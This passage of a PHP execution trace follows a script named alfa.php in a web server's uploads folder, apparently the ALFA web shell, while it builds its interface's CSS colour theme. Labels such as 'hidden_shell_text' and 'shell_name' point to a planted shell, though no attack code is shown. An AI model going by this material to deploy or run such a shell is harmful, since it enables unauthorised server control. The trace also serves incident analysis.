5 A /var/www/html/uploads/alfa.php 618 $target = ['key_color' => '#646464', 'multi_selector' => ['.menu_options:hover' => 'background-color: {color};font-weight: unset;']]
5 158 1 0.020233 2799872
5 158 R '#646464'
4 A /var/www/html/uploads/alfa.php 635 $color = '#646464'
5 159 0 0.020260 2799872 str_replace 0 /var/www/html/uploads/alfa.php 636 3 '{color}' '#646464' 'background-color: {color};font-weight: unset;'
5 159 1 0.020278 2800048
5 159 R 'background-color: #646464;font-weight: unset;'
4 A /var/www/html/uploads/alfa.php 636 $code = 'background-color: #646464;font-weight: unset;'
4 A /var/www/html/uploads/alfa.php 637 $css .= '.menu_options:hover{background-color: #646464;font-weight: unset;}'
4 A /var/www/html/uploads/alfa.php 628 $key = 'options_list'
4 A /var/www/html/uploads/alfa.php 634 $k = '.content_options_holder .header center a'
5 160 0 0.020345 2800040 alfa_getColor 1 /var/www/html/uploads/alfa.php 635 1 'options_list'
5 A /var/www/html/uploads/alfa.php 618 $target = ['key_color' => '#00FF00', 'multi_selector' => ['.content_options_holder .header center a' => 'color: {color};']]
5 160 1 0.020376 2800040
5 160 R '#00FF00'
4 A /var/www/html/uploads/alfa.php 635 $color = '#00FF00'
5 161 0 0.020401 2800040 str_replace 0 /var/www/html/uploads/alfa.php 636 3 '{color}' '#00FF00' 'color: {color};'
5 161 1 0.020416 2800176
5 161 R 'color: #00FF00;'
4 A /var/www/html/uploads/alfa.php 636 $code = 'color: #00FF00;'
4 A /var/www/html/uploads/alfa.php 637 $css .= '.content_options_holder .header center a{color: #00FF00;}'
4 A /var/www/html/uploads/alfa.php 628 $key = 'options_list:hover'
4 A /var/www/html/uploads/alfa.php 634 $k = '.content_options_holder .header center a:hover'
5 162 0 0.020477 2800000 alfa_getColor 1 /var/www/html/uploads/alfa.php 635 1 'options_list:hover'
5 A /var/www/html/uploads/alfa.php 618 $target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.content_options_holder .header center a:hover' => 'color: {color};']]
5 162 1 0.020509 2800000
5 162 R '#FFFFFF'
4 A /var/www/html/uploads/alfa.php 635 $color = '#FFFFFF'
5 163 0 0.020533 2800000 str_replace 0 /var/www/html/uploads/alfa.php 636 3 '{color}' '#FFFFFF' 'color: {color};'
5 163 1 0.020547 2800136
5 163 R 'color: #FFFFFF;'
4 A /var/www/html/uploads/alfa.php 636 $code = 'color: #FFFFFF;'
4 A /var/www/html/uploads/alfa.php 637 $css .= '.content_options_holder .header center a:hover{color: #FFFFFF;}'
4 A /var/www/html/uploads/alfa.php 628 $key = 'options_list_header'
4 A /var/www/html/uploads/alfa.php 634 $k = '.txtfont_header'
5 164 0 0.020633 2800128 alfa_getColor 1 /var/www/html/uploads/alfa.php 635 1 'options_list_header'
5 A /var/www/html/uploads/alfa.php 618 $target = ['key_color' => '#59cc33', 'multi_selector' => ['.txtfont_header' => 'color: {color};']]
5 164 1 0.020664 2800128
5 164 R '#59cc33'
4 A /var/www/html/uploads/alfa.php 635 $color = '#59cc33'
5 165 0 0.020689 2800128 str_replace 0 /var/www/html/uploads/alfa.php 636 3 '{color}' '#59cc33' 'color: {color};'
5 165 1 0.020704 2800264
5 165 R 'color: #59cc33;'
4 A /var/www/html/uploads/alfa.php 636 $code = 'color: #59cc33;'
4 A /var/www/html/uploads/alfa.php 637 $css .= '.txtfont_header{color: #59cc33;}'
4 A /var/www/html/uploads/alfa.php 628 $key = 'options_list_text'
4 A /var/www/html/uploads/alfa.php 634 $k = '.txtfont,.tbltxt'
5 166 0 0.020763 2800128 alfa_getColor 1 /var/www/html/uploads/alfa.php 635 1 'options_list_text'
5 A /var/www/html/uploads/alfa.php 618 $target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.txtfont,.tbltxt' => 'color: {color};']]
5 166 1 0.020793 2800128
5 166 R '#FFFFFF'
4 A /var/www/html/uploads/alfa.php 635 $color = '#FFFFFF'
5 167 0 0.020816 2800128 str_replace 0 /var/www/html/uploads/alfa.php 636 3 '{color}' '#FFFFFF' 'color: {color};'
5 167 1 0.020831 2800264
5 167 R 'color: #FFFFFF;'
4 A /var/www/html/uploads/alfa.php 636 $code = 'color: #FFFFFF;'
4 A /var/www/html/uploads/alfa.php 637 $css .= '.txtfont,.tbltxt{color: #FFFFFF;}'
4 A /var/www/html/uploads/alfa.php 628 $key = 'Alfa+'
4 A /var/www/html/uploads/alfa.php 634 $k = '.alfa_plus'
5 168 0 0.020889 2800128 alfa_getColor 1 /var/www/html/uploads/alfa.php 635 1 'Alfa+'
5 A /var/www/html/uploads/alfa.php 618 $target = ['key_color' => '#06ff0f', 'multi_selector' => ['.alfa_plus' => 'color: {color};font-weight: unset;']]
5 168 1 0.020935 2800128
5 168 R '#06ff0f'
4 A /var/www/html/uploads/alfa.php 635 $color = '#06ff0f'
5 169 0 0.020959 2800128 str_replace 0 /var/www/html/uploads/alfa.php 636 3 '{color}' '#06ff0f' 'color: {color};font-weight: unset;'
5 169 1 0.020975 2800288
5 169 R 'color: #06ff0f;font-weight: unset;'
4 A /var/www/html/uploads/alfa.php 636 $code = 'color: #06ff0f;font-weight: unset;'
4 A /var/www/html/uploads/alfa.php 637 $css .= '.alfa_plus{color: #06ff0f;font-weight: unset;}'
4 A /var/www/html/uploads/alfa.php 628 $key = 'hidden_shell_text'
4 A /var/www/html/uploads/alfa.php 634 $k = '#hidden_sh a'
5 170 0 0.021042 2800152 alfa_getColor 1 /var/www/html/uploads/alfa.php 635 1 'hidden_shell_text'
5 A /var/www/html/uploads/alfa.php 618 $target = ['key_color' => '#00FF00', 'multi_selector' => ['#hidden_sh a' => 'color: {color};']]
5 170 1 0.021072 2800152
5 170 R '#00FF00'
4 A /var/www/html/uploads/alfa.php 635 $color = '#00FF00'
5 171 0 0.021095 2800152 str_replace 0 /var/www/html/uploads/alfa.php 636 3 '{color}' '#00FF00' 'color: {color};'
5 171 1 0.021110 2800288
5 171 R 'color: #00FF00;'
4 A /var/www/html/uploads/alfa.php 636 $code = 'color: #00FF00;'
4 A /var/www/html/uploads/alfa.php 637 $css .= '#hidden_sh a{color: #00FF00;}'
4 A /var/www/html/uploads/alfa.php 628 $key = 'hidden_shell_version'
5 172 0 0.021157 2800384 alfa_getColor 1 /var/www/html/uploads/alfa.php 630 1 'hidden_shell_version'
5 A /var/www/html/uploads/alfa.php 618 $target = '#ff0000'
5 172 1 0.021182 2800384
5 172 R '#ff0000'
4 A /var/www/html/uploads/alfa.php 630 $value = '#ff0000'
4 A /var/www/html/uploads/alfa.php 631 $css .= '.hidden_shell_version{color: #ff0000;}'
4 A /var/www/html/uploads/alfa.php 628 $key = 'shell_name'
5 173 0 0.021227 2800384 alfa_getColor 1 /var/www/html/uploads/alfa.php 630 1 'shell_name'
5 A /var/www/html/uploads/alfa.php 618 $target = '#FF0000'
5 173 1 0.021250 2800384
5 173 R '#FF0000'
4 A /var/www/html/uploads/alfa.php 630 $value = '#FF0000'
4 A /var/www/html/uploads/alfa.php 631 $css .= '.shell_name{color: #FF0000;}'
4 A /var/www/html/uploads/alfa.php 628 $key = 'main_row:hover'
4 A /var/www/html/uploads/alfa.php 634 $k = '.main tr:hover'
5 174 0 0.021306 2800384 alfa_getColor 1 /var/www/html/uploads/alfa.php 635 1 'main_row:hover'
5 A /var/www/html/uploads/alfa.php 618 $target = ['key_color' => '#646464', 'multi_selector' => ['.main tr:hover' => 'background-color: {color};']]
5 174 1 0.021337 2800384
5 174 R '#646464'
4 A /var/www/html/uploads/alfa.php 635 $color = '#646464'
5 175 0 0.021361 2800384 str_replace 0 /var/www/html/uploads/alfa.php 636 3 '{color}' '#646464' 'background-color: {color};'
5 175 1 0.021377 2800536
5 175 R 'background-color: #646464;'
4 A /var/www/html/uploads/alfa.php 636 $code = 'background-color: #646464;'
4 A /var/www/html/uploads/alfa.php 637 $css .= '.main tr:hover{background-color: #646464;}'
4 A /var/www/html/uploads/alfa.php 628 $key = 'main_header'
4 A /var/www/html/uploads/alfa.php 634 $k = '.main th'
5 176 0 0.021436 2800400 alfa_getColor 1 /var/www/html/uploads/alfa.php 635 1 'main_header'
5 A /var/www/html/uploads/alfa.php 618 $target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.main th' => 'color: {color};']]
5 176 1 0.021465 2800400
5 176 R '#FFFFFF'
4 A /var/www/html/uploads/alfa.php 635 $color = '#FFFFFF'
5 177 0 0.021489 2800400 str_replace 0 /var/www/html/uploads/alfa.php 636 3 '{color}' '#FFFFFF' 'color: {color};'
5 177 1 0.021503 2800536
5 177 R 'color: #FFFFFF;'
4 A /var/www/html/uploads/alfa.php 636 $code = 'color: #FFFFFF;'
4 A /var/www/html/uploads/alfa.php 637 $css .= '.main th{color: #FFFFFF;}'
4 A /var/www/html/uploads/alfa.php 628 $key = 'main_name'
4 A /var/www/html/uploads/alfa.php 634 $k = '.main .main_name'
5 178 0 0.021566 2800384 alfa_getColor 1 /var/www/html/uploads/alfa.php 635 1 'main_name'
5 A /var/www/html/uploads/alfa.php 618 $target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.main .main_name' => 'color: {color};font-weight: unset;']]
5 178 1 0.021598 2800384
5 178 R '#FFFFFF'
4 A /var/www/html/uploads/alfa.php 635 $color = '#FFFFFF'
5 179 0 0.021621 2800384 str_replace 0 /var/www/html/uploads/alfa.php 636 3 '{color}' '#FFFFFF' 'color: {color};font-weight: unset;'
5 179 1 0.021637 2800544
5 179 R 'color: #FFFFFF;font-weight: unset;'
4 A /var/www/html/uploads/alfa.php 636 $code = 'color: #FFFFFF;font-weight: unset;'
4 A /var/www/html/uploads/alfa.php 637 $css .= '.main .main_name{color: #FFFFFF;font-weight: unset;}'
4 A /var/www/html/uploads/alfa.php 628 $key = 'main_size'
5 180 0 0.021687 2800408 alfa_getColor 1 /var/www/html/uploads/alfa.php 630 1 'main_size'
5 A /var/www/html/uploads/alfa.php 618 $target = '#67ABDF'
5 180 1 0.021711 2800408
5 180 R '#67ABDF'
4 A /var/www/html/uploads/alfa.php 630 $value = '#67ABDF'
4 A /var/www/html/uploads/alfa.php 631 $css .= '.main_size{color: #67ABDF;}'
4 A /var/www/html/uploads/alfa.php 628 $key = 'main_modify'
5 181 0 0.021758 2800408 alfa_getColor 1 /var/www/html/uploads/alfa.php 630 1 'main_modify'
5 A /var/www/html/uploads/alfa.php 618 $target = '#67ABDF'
5 181 1 0.021782 2800408
5 181 R '#67ABDF'
4 A /var/www/html/uploads/alfa.php 630 $value = '#67ABDF'
4 A /var/www/html/uploads/alfa.php 631 $css .= '.main_modify{color: #67ABDF;}'
4 A /var/www/html/uploads/alfa.php 628 $key = 'main_owner_group'
5 182 0 0.021827 2800664 alfa_getColor 1 /var/www/html/uploads/alfa.php 630 1 'main_owner_group'
5 A /var/www/html/uploads/alfa.php 618 $target = '#67ABDF'
5 182 1 0.021851 2800664
5 182 R '#67ABDF'
4 A /var/www/html/uploads/alfa.php 630 $value = '#67ABDF'
4 A /var/www/html/uploads/alfa.php 631 $css .= '.main_owner_group{color: #67ABDF;}'
4 A /var/www/html/uploads/alfa.php 628 $key = 'main_green_perm'
5 183 0 0.021896 2800664 alfa_getColor 1 /var/www/html/uploads/alfa.php 630 1 'main_green_perm'
5 A /var/www/html/uploads/alfa.php 618 $target = '#25ff00'
5 183 1 0.021919 2800664
5 183 R '#25ff00'
4 A /var/www/html/uploads/alfa.php 630 $value = '#25ff00'
4 A /var/www/html/uploads/alfa.php 631 $css .= '.main_green_perm{color: #25ff00;}'
4 A /var/www/html/uploads/alfa.php 628 $key = 'main_red_perm'
5 184 0 0.021964 2800664 alfa_getColor 1 /var/www/html/uploads/alfa.php 630 1 'main_red_perm'
5 A /var/www/html/uploads/alfa.php 618 $target = '#FF0000'
5 184 1 0.021988 2800664
5 184 R '#FF0000'
4 A /var/www/html/uploads/alfa.php 630 $value = '#FF0000'
4 A /var/www/html/uploads/alfa.php 631 $css .= '.main_red_perm{color: #FF0000;}'
4 A /var/www/html/uploads/alfa.php 628 $key = 'main_white_perm'
5 185 0 0.022033 2800664 alfa_getColor 1 /var/www/html/uploads/alfa.php 630 1 'main_white_perm'
5 A /var/www/html/uploads/alfa.php 618 $target = '#FFFFFF'
5 185 1 0.022056 2800664
5 185 R '#FFFFFF'
4 A /var/www/html/uploads/alfa.php 630 $value = '#FFFFFF'
4 A /var/www/html/uploads/alfa.php 631 $css .= '.main_white_perm{color: #FFFFFF;}'
4 A /var/www/html/uploads/alfa.php 628 $key = 'beetween_perms'
5 186 0 0.022101 2800664 alfa_getColor 1 /var/www/html/uploads/alfa.php 630 1 'beetween_perms'
5 A /var/www/html/uploads/alfa.php 618 $target = '#FFFFFF'
5 186 1 0.022124 2800664
5 186 R '#FFFFFF'
4 A /var/www/html/uploads/alfa.php 630 $value = '#FFFFFF'
4 A /var/www/html/uploads/alfa.php 631 $css .= '.beetween_perms{color: #FFFFFF;}'
4 A /var/www/html/uploads/alfa.php 628 $key = 'main_actions'
4 A /var/www/html/uploads/alfa.php 634 $k = '.main .actions'
5 187 0 0.022178 2800664 alfa_getColor 1 /var/www/html/uploads/alfa.php 635 1 'main_actions'
5 A /var/www/html/uploads/alfa.php 618 $target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.main .actions' => 'color: {color};']]
5 187 1 0.022210 2800664
5 187 R '#FFFFFF'
4 A /var/www/html/uploads/alfa.php 635 $color = '#FFFFFF'
5 188 0 0.022234 2800664 str_replace 0 /var/www/html/uploads/alfa.php 636 3 '{color}' '#FFFFFF' 'color: {color};'
5 188 1 0.022248 2800800
5 188 R 'color: #FFFFFF;'
4 A /var/www/html/uploads/alfa.php 636 $code = 'color: #FFFFFF;'
4 A /var/www/html/uploads/alfa.php 637 $css .= '.main .actions{color: #FFFFFF;}'
4 A /var/www/html/uploads/alfa.php 628 $key = 'minimize_editor_background'
4 A /var/www/html/uploads/alfa.php 634 $k = '.minimized-wrapper'
5 189 0 0.022306 2800640 alfa_getColor 1 /var/www/html/uploads/alfa.php 635 1 'minimize_editor_background'
5 A /var/www/html/uploads/alfa.php 618 $target = ['key_color' => '#0e304a', 'multi_selector' => ['.minimized-wrapper' => 'background-color: {color};']]
5 189 1 0.022337 2800640
5 189 R '#0e304a'
4 A /var/www/html/uploads/alfa.php 635 $color = '#0e304a'
5 190 0 0.022361 2800640 str_replace 0 /var/www/html/uploads/alfa.php 636 3 '{color}' '#0e304a' 'background-color: {color};'
5 190 1 0.022377 2800792
5 190 R 'background-color: #0e304a;'
4 A /var/www/html/uploads/alfa.php 636 $code = 'background-color: #0e304a;'
4 A /var/www/html/uploads/alfa.php 637 $css .= '.minimized-wrapper{background-color: #0e304a;}'
4 A /var/www/html/uploads/alfa.php 628 $key = 'minimize_editor_text'
4 A /var/www/html/uploads/alfa.php 634 $k = '.minimized-text'
5 191 0 0.022438 2800656 alfa_getColor 1 /var/www/html/uploads/alfa.php 635 1 'minimize_editor_text'
5 A /var/www/html/uploads/alfa.php 618 $target = ['key_color' => '#f5deb3', 'multi_selector' => ['.minimized-text' => 'color: {color};']]
5 191 1 0.022469 2800656
5 191 R '#f5deb3'
4 A /var/www/html/uploads/alfa.php 635 $color = '#f5deb3'
5 192 0 0.022493 2800656 str_replace 0 /var/www/html/uploads/alfa.php 636 3 '{color}' '#f5deb3' 'color: {color};'
5 192 1 0.022509 2800792
5 192 R 'color: #f5deb3;'
4 A /var/www/html/uploads/alfa.php 636 $code = 'color: #f5deb3;'
4 A /var/www/html/uploads/alfa.php 637 $css .= '.minimized-text{color: #f5deb3;}'
4 A /var/www/html/uploads/alfa.php 628 $key = 'editor_border'
4 A /var/www/html/uploads/alfa.php 634 $k = '.editor-explorer,.editor-modal'
5 193 0 0.022568 2800896 alfa_getColor 1 /var/www/html/uploads/alfa.php 635 1 'editor_border'
5 A /var/www/html/uploads/alfa.php 618 $target = ['key_color' => '#0e304a', 'multi_selector' => ['.editor-explorer,.editor-modal' => 'border: 2px solid {color};']]
5 193 1 0.022599 2800896
5 193 R '#0e304a'
4 A /var/www/html/uploads/alfa.php 635 $color = '#0e304a'
5 194 0 0.022623 2800896 str_replace 0 /var/www/html/uploads/alfa.php 636 3 '{color}' '#0e304a' 'border: 2px solid {color};'
5 194 1 0.022639 2801048
5 194 R 'border: 2px solid #0e304a;'
4 A /var/www/html/uploads/alfa.php 636 $code = 'border: 2px solid #0e304a;'
4 A /var/www/html/uploads/alfa.php 637 $css .= '.editor-explorer,.editor-modal{border: 2px solid #0e304a;}'
4 A /var/www/html/uploads/alfa.php 628 $key = 'editor_background'
4 A /var/www/html/uploads/alfa.php 634 $k = '.editor-explorer,.editor-modal'
5 195 0 0.022701 2800912 alfa_getColor 1 /var/www/html/uploads/alfa.php 635 1 'editor_background'
5 A /var/www/html/uploads/alfa.php 618 $target = ['key_color' => 'rgba(0, 1, 23, 0.94)', 'multi_selector' => ['.editor-explorer,.editor-modal' => 'background-color: {color};']]
5 195 1 0.022734 2800912
5 195 R 'rgba(0, 1, 23, 0.94)'
4 A /var/www/html/uploads/alfa.php 635 $color = 'rgba(0, 1, 23, 0.94)'
5 196 0 0.022760 2800912 str_replace 0 /var/www/html/uploads/alfa.php 636 3 '{color}' 'rgba(0, 1, 23, 0.94)' 'background-color: {color};'
5 196 1 0.022777 2801088
5 196 R 'background-color: rgba(0, 1, 23, 0.94);'
4 A /var/www/html/uploads/alfa.php 636 $code = 'background-color: rgba(0, 1, 23, 0.94);'
4 A /var/www/html/uploads/alfa.php 637 $css .= '.editor-explorer,.editor-modal{background-color: rgba(0, 1, 23, 0.94);}'
4 A /var/www/html/uploads/alfa.php 628 $key = 'editor_header_background'
4 A /var/www/html/uploads/alfa.php 634 $k = '.editor-header'
5 197 0 0.022845 2800936 alfa_getColor 1 /var/www/html/uploads/alfa.php 635 1 'editor_header_background'
5 A /var/www/html/uploads/alfa.php 618 $target = ['key_color' => 'rgba(21, 66, 88, 0.93)', 'multi_selector' => ['.editor-header' => 'background-color: {color};']]
5 197 1 0.022877 2800936
5 197 R 'rgba(21, 66, 88, 0.93)'
4 A /var/www/html/uploads/alfa.php 635 $color = 'rgba(21, 66, 88, 0.93)'
5 198 0 0.022903 2800936 str_replace 0 /var/www/html/uploads/alfa.php 636 3 '{color}' 'rgba(21, 66, 88, 0.93)' 'background-color: {color};'
5 198 1 0.022919 2801112
5 198 R 'background-color: rgba(21, 66, 88, 0.93);'
4 A /var/www/html/uploads/alfa.php 636 $code = 'background-color: rgba(21, 66, 88, 0.93);'
4 A /var/www/html/uploads/alfa.php 637 $css .= '.editor-header{background-color: rgba(21, 66, 88, 0.93);}'
4 A /var/www/html/uploads/alfa.php 628 $key = 'editor_header_text'
4 A /var/www/html/uploads/alfa.php 634 $k = '.editor-path'
5 199 0 0.022981 2800936 alfa_getColor 1 /var/www/html/uploads/alfa.php 635 1 'editor_header_text'
5 A /var/www/html/uploads/alfa.php 618 $target = ['key_color' => '#00ff7f', 'multi_selector' => ['.editor-path' => 'color: {color};']]
5 199 1 0.023010 2800936
5 199 R '#00ff7f'
4 A /var/www/html/uploads/alfa.php 635 $color = '#00ff7f'
5 200 0 0.023034 2800936 str_replace 0 /var/www/html/uploads/alfa.php 636 3 '{color}' '#00ff7f' 'color: {color};'
5 200 1 0.023048 2801072
5 200 R 'color: #00ff7f;'
4 A /var/www/html/uploads/alfa.php 636 $code = 'color: #00ff7f;'
4 A /var/www/html/uploads/alfa.php 637 $css .= '.editor-path{color: #00ff7f;}'
4 A /var/www/html/uploads/alfa.php 628 $key = 'editor_header_button'
4 A /var/www/html/uploads/alfa.php 634 $k = '.close-button, .editor-minimize'
5 201 0 0.023106 2800896 alfa_getColor 1 /var/www/html/uploads/alfa.php 635 1 'editor_header_button'
5 A /var/www/html/uploads/alfa.php 618 $target = ['key_color' => '#1d5673', 'multi_selector' => ['.close-button, .editor-minimize' => 'background-color: {color};']]
5 201 1 0.023137 2800896
5 201 R '#1d5673'
4 A /var/www/html/uploads/alfa.php 635 $color = '#1d5673'
5 202 0 0.023161 2800896 str_replace 0 /var/www/html/uploads/alfa.php 636 3 '{color}' '#1d5673' 'background-color: {color};'
5 202 1 0.023177 2801048
5 202 R 'background-color: #1d5673;'
4 A /var/www/html/uploads/alfa.php 636 $code = 'background-color: #1d5673;'
4 A /var/www/html/uploads/alfa.php 637 $css .= '.close-button, .editor-minimize{background-color: #1d5673;}'
4 A /var/www/html/uploads/alfa.php 628 $key = 'editor_actions'
4 A /var/www/html/uploads/alfa.php 634 $k = '.editor_actions'
5 203 0 0.023240 2801168 alfa_getColor 1 /var/www/html/uploads/alfa.php 635 1 'editor_actions'
5 A /var/www/html/uploads/alfa.php 618 $target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.editor_actions' => 'color: {color};']]
5 203 1 0.023269 2801168
5 203 R '#FFFFFF'
4 A /var/www/html/uploads/alfa.php 635 $color = '#FFFFFF'
5 204 0 0.023293 2801168 str_replace 0 /var/www/html/uploads/alfa.php 636 3 '{color}' '#FFFFFF' 'color: {color};'
5 204 1 0.023307 2801304
5 204 R 'color: #FFFFFF;'
4 A /var/www/html/uploads/alfa.php 636 $code = 'color: #FFFFFF;'
4 A /var/www/html/uploads/alfa.php 637 $css .= '.editor_actions{color: #FFFFFF;}'
4 A /var/www/html/uploads/alfa.php 628 $key = 'editor_file_info_vars'
4 A /var/www/html/uploads/alfa.php 634 $k = '.editor_file_info_vars'
5 205 0 0.023365 2801152 alfa_getColor 1 /var/www/html/uploads/alfa.php 635 1 'editor_file_info_vars'
5 A /var/www/html/uploads/alfa.php 618 $target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.editor_file_info_vars' => 'color: {color};']]
5 205 1 0.023394 2801152
5 205 R '#FFFFFF'
4 A /var/www/html/uploads/alfa.php 635 $color = '#FFFFFF'
5 206 0 0.023421 2801152 str_replace 0 /var/www/html/uploads/alfa.php 636 3 '{color}' '#FFFFFF' 'color: {color};'
5 206 1 0.023435 2801288
5 206 R 'color: #FFFFFF;'
4 A /var/www/html/uploads/alfa.php 636 $code = 'color: #FFFFFF;'
4 A /var/www/html/uploads/alfa.php 637 $css .= '.editor_file_info_vars{color: #FFFFFF;}'
4 A /var/www/html/uploads/alfa.php 628 $key = 'editor_file_info_values'
4 A /var/www/html/uploads/alfa.php 634 $k = '.filestools'
5 207 0 0.023493 2801152 alfa_getColor 1 /var/www/html/uploads/alfa.php 635 1 'editor_file_info_values'
5 A /var/www/html/uploads/alfa.php 618 $target = ['key_color' => '#67ABDF', 'multi_selector' => ['.filestools' => 'color: {color};']]
5 207 1 0.023522 2801152
5 207 R '#67ABDF'
4 A /var/www/html/uploads/alfa.php 635 $color = '#67ABDF'
5 208 0 0.023547 2801152 str_replace 0 /var/www/html/uploads/alfa.php 636 3 '{color}' '#67ABDF' 'color: {color};'
5 208 1 0.023561 2801288
5 208 R 'color: #67ABDF;'
4 A /var/www/html/uploads/alfa.php 636 $code = 'color: #67ABDF;'
4 A /var/www/html/uploads/alfa.php 637 $css .= '.filestools{color: #67ABDF;}'
4 A /var/www/html/uploads/alfa.php 628 $key = 'editor_history_header'
4 A /var/www/html/uploads/alfa.php 634 $k = '.hheader-text,.history-clear'
5 209 0 0.023619 2801152 alfa_getColor 1 /var/www/html/uploads/alfa.php 635 1 'editor_history_header'
5 A /var/www/html/uploads/alfa.php 618 $target = ['key_color' => '#14ff07', 'multi_selector' => ['.hheader-text,.history-clear' => 'color: {color};']]
5 209 1 0.023650 2801152
5 209 R '#14ff07'
4 A /var/www/html/uploads/alfa.php 635 $color = '#14ff07'
5 210 0 0.023674 2801152 str_replace 0 /var/www/html/uploads/alfa.php 636 3 '{color}' '#14ff07' 'color: {color};'
5 210 1 0.023689 2801288
5 210 R 'color: #14ff07;'
4 A /var/www/html/uploads/alfa.php 636 $code = 'color: #14ff07;'
4 A /var/www/html/uploads/alfa.php 637 $css .= '.hheader-text,.history-clear{color: #14ff07;}'
4 A /var/www/html/uploads/alfa.php 628 $key = 'editor_history_list'
4 A /var/www/html/uploads/alfa.php 634 $k = '.editor-file-name'
5 211 0 0.023747 2801152 alfa_getColor 1 /var/www/html/uploads/alfa.php 635 1 'editor_history_list'
5 A /var/www/html/uploads/alfa.php 618 $target = ['key_color' => '#03b3a3', 'multi_selector' => ['.editor-file-name' => 'color: {color};']]
5 211 1 0.023776 2801152
5 211 R '#03b3a3'
4 A /var/www/html/uploads/alfa.php 635 $color = '#03b3a3'
5 212 0 0.023800 2801152 str_replace 0 /var/www/html/uploads/alfa.php 636 3 '{color}' '#03b3a3' 'color: {color};'
5 212 1 0.023816 2801288
5 212 R 'color: #03b3a3;'
4 A /var/www/html/uploads/alfa.php 636 $code = 'color: #03b3a3;'
4 A /var/www/html/uploads/alfa.php 637 $css .= '.editor-file-name{color: #03b3a3;}'
4 A /var/www/html/uploads/alfa.php 628 $key = 'editor_history_selected_file'
4 A /var/www/html/uploads/alfa.php 634 $k = '.is_active'
5 213 0 0.023873 2801152 alfa_getColor 1 /var/www/html/uploads/alfa.php 635 1 'editor_history_selected_file'
5 A /var/www/html/uploads/alfa.php 618 $target = ['key_color' => 'rgba(49, 55, 93, 0.77)', 'multi_selector' => ['.is_active' => 'background-color: {color};']]
5 213 1 0.023905 2801152
5 213 R 'rgba(49, 55, 93, 0.77)'
4 A /var/www/html/uploads/alfa.php 635 $color = 'rgba(49, 55, 93, 0.77)'
5 214 0 0.023930 2801152 str_replace 0 /var/www/html/uploads/alfa.php 636 3 '{color}' 'rgba(49, 55, 93, 0.77)' 'background-color: {color};'
5 214 1 0.023947 2801328
5 214 R 'background-color: rgba(49, 55, 93, 0.77);'
4 A /var/www/html/uploads/alfa.php 636 $code = 'background-color: rgba(49, 55, 93, 0.77);'
4 A /var/www/html/uploads/alfa.php 637 $css .= '.is_active{background-color: rgba(49, 55, 93, 0.77);}'
4 A /var/www/html/uploads/alfa.php 628 $key = 'editor_history_file:hover'
4 A /var/www/html/uploads/alfa.php 634 $k = '.file-holder > .history:hover'
5 215 0 0.024014 2801704 alfa_getColor 1 /var/www/html/uploads/alfa.php 635 1 'editor_history_file:hover'
5 A /var/www/html/uploads/alfa.php 618 $target = ['key_color' => '#646464', 'multi_selector' => ['.file-holder > .history:hover' => 'background-color: {color};']]
5 215 1 0.024046 2801704
5 215 R '#646464'
4 A /var/www/html/uploads/alfa.php 635 $color = '#646464'
5 216 0 0.024070 2801704 str_replace 0 /var/www/html/uploads/alfa.php 636 3 '{color}' '#646464' 'background-color: {color};'
5 216 1 0.024086 2801856
5 216 R 'background-color: #646464;'
4 A /var/www/html/uploads/alfa.php 636 $code = 'background-color: #646464;'
4 A /var/www/html/uploads/alfa.php 637 $css .= '.file-holder > .history:hover{background-color: #646464;}'
4 A /var/www/html/uploads/alfa.php 628 $key = 'input_box_border'
4 A /var/www/html/uploads/alfa.php 634 $k = 'input[type=text],textarea'
5 217 0 0.024148 2801680 alfa_getColor 1 /var/www/html/uploads/alfa.php 635 1 'input_box_border'
5 A /var/www/html/uploads/alfa.php 618 $target = ['key_color' => '#0E304A', 'multi_selector' => ['input[type=text],textarea' => 'border: 1px solid {color}']]
5 217 1 0.024179 2801680
5 217 R '#0E304A'
4 A /var/www/html/uploads/alfa.php 635 $color = '#0E304A'
5 218 0 0.024204 2801680 str_replace 0 /var/www/html/uploads/alfa.php 636 3 '{color}' '#0E304A' 'border: 1px solid {color}'
5 218 1 0.024219 2801832
5 218 R 'border: 1px solid #0E304A'
4 A /var/www/html/uploads/alfa.php 636 $code = 'border: 1px solid #0E304A'
4 A /var/www/html/uploads/alfa.php 637 $css .= 'input[type=text],textarea{border: 1px solid #0E304A}'
4 A /var/www/html/uploads/alfa.php 628 $key = 'input_box_text'
4 A /var/www/html/uploads/alfa.php 634 $k = 'input[type=text],textarea'
5 219 0 0.024280 2801680 alfa_getColor 1 /var/www/html/uploads/alfa.php 635 1 'input_box_text'
5 A /var/www/html/uploads/alfa.php 618 $target = ['key_color' => '#999999', 'multi_selector' => ['input[type=text],textarea' => 'color: {color};']]
5 219 1 0.024311 2801680
5 219 R '#999999'
4 A /var/www/html/uploads/alfa.php 635 $color = '#999999'
5 220 0 0.024335 2801680 str_replace 0 /var/www/html/uploads/alfa.php 636 3 '{color}' '#999999' 'color: {color};'
5 220 1 0.024349 2801816
5 220 R 'color: #999999;'
4 A /var/www/html/uploads/alfa.php 636 $code = 'color: #999999;'
4 A /var/www/html/uploads/alfa.php 637 $css .= 'input[type=text],textarea{color: #999999;}'
4 A /var/www/html/uploads/alfa.php 628 $key = 'input_box:hover'
4 A /var/www/html/uploads/alfa.php 634 $k = 'input[type=text]:hover,textarea:hover'
5 221 0 0.024409 2801664 alfa_getColor 1 /var/www/html/uploads/alfa.php 635 1 'input_box:hover'
5 A /var/www/html/uploads/alfa.php 618 $target = ['key_color' => '#27979B', 'multi_selector' => ['input[type=text]:hover,textarea:hover' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
5 221 1 0.024442 2801664
5 221 R '#27979B'
4 A /var/www/html/uploads/alfa.php 635 $color = '#27979B'
5 222 0 0.024466 2801664 str_replace 0 /var/www/html/uploads/alfa.php 636 3 '{color}' '#27979B' 'box-shadow:0 0 4px {color};border:1px solid {color};'
5 222 1 0.024482 2801840
5 222 R 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
4 A /var/www/html/uploads/alfa.php 636 $code = 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
4 A /var/www/html/uploads/alfa.php 637 $css .= 'input[type=text]:hover,textarea:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}'
4 A /var/www/html/uploads/alfa.php 628 $key = 'select_box_border'
4 A /var/www/html/uploads/alfa.php 634 $k = 'select'
